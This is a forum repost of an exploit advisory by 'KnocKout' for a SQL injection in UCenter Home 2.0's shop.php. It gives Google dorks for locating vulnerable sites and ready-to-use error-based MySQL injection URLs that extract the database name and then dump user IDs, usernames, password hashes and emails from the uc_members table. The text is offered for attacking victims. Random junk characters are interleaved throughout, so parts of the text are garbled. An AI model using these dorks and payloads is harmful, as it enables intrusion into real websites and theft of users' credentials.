4 T W* { i/ O/ n! a1 q8 c9 J8 ]__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ 1 X3 S& y; \7 F1 i. b" t2 H
6 n4 o; Z- M/ D; s) ^, m# W
( F& D% G: l& N h, a$ ~4 `2 Y2 w5 r! j7 x2 w3 d0 y
*/ Author : KnocKout 8 ~2 C+ J* v- `$ Q" K" Q
; ]1 @* l# G! L* l0 n
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers / a, s: k$ W7 n$ a
2 }. g1 U+ c: B. u; R. }*/ Contact: knockoutr@msn.com
0 L. A( K/ J0 ?& Z1 [& x( D$ m$ P# N8 _# f3 x/ z# ^
*/ Cyber-Warrior.org/CWKnocKout
" p0 R$ [5 T7 V* m5 H4 j& i, B. N* c: z$ y& B
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
1 z6 X/ b0 j5 ^7 R9 _2 T8 X8 K9 H: F }! _/ z
Script : UCenter Home 8 X* S2 D( Z: c1 N+ p' d
- i7 m& [& h, S: t* {Version : 2.0
# ~% M- ^% Q2 ~& s
+ H) i% d8 f& E6 `$ E+ BScript HomePage : http://u.discuz.net/
' S7 G- f; a" ^
* _& }) ^/ c8 l__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 4 q1 F$ u2 A( L' |' S
3 V* J( H" |9 dDork : Powered by UCenter inurl:shop.php?ac=view
- h$ a( Y5 @/ k$ b4 |
) e' _7 e# P2 I: d8 ~' rDork 2 : inurl:shop.php?ac=view&shopid=
+ r% }4 x: t5 W, z7 _& e
% F$ L: ^. Y# b9 |4 I1 b' ?__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
, ~' Z3 t' _% A
- p& {9 d- ^0 u4 j8 ]$ `Vuln file : Shop.php
$ k" q9 O2 M% g5 c9 e5 G
* G) e2 W- U) O" I: n) zvalue's : (?)ac=view&shopid=
3 J# t% [4 n8 R+ a! Y8 D
$ Z* ^; b, M5 [, bVulnerable Style : SQL Injection (MySQL Error Based) 7 z; S5 s3 f& r0 X& \. W
+ R6 K+ F Q2 H- N0 p5 T( L
Need Metarials : Hex Conversion
9 `. {6 ^ ]5 O! j# y; c+ i% I" R. L; x, n/ ~
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== - _, m' ?, }; Y5 N
g* }- Y1 N. _1 p7 V9 ~9 pYour Need victim Database name.
" M) ?) t! Y9 X1 D) G+ R8 }( t$ H7 f& L) U6 H
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
; l; I7 o( O, `& D
! h7 U$ A6 | U.. + a( b8 U, \; |' a
) i3 A0 G- M' y+ A
DB : Okey.
; P+ k; {- j* P' u/ a- P( M, A1 f1 }3 ]9 m. i5 F1 j* u. z( X+ z
your edit DB `[TARGET DB NAME]`
- w1 |: F* G' X" w% J; v, s5 r
2 H$ v/ Q) D9 N0 Y) U5 VExample : 'hiwir1_ucenter' , D, @. E2 \( b& F5 W
9 d, d4 D2 w0 v6 }- o2 q) lEdit : Okey.
0 c0 i3 ?/ X; x* _0 ?' g. i k/ k: p" c. P1 b" {
Your use Hex conversion. And edit Your SQL Injection Exploit..
3 ?3 w; o i) B5 P
" T' _5 g; e& f" K
& D( g% ]; M1 _% \+ @
& R- l+ O9 n x' nExploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 X. P8 P5 A( A% u Y1 \( b2 l
|
发表于 2013-2-27 21:31:31
收藏
支持
反对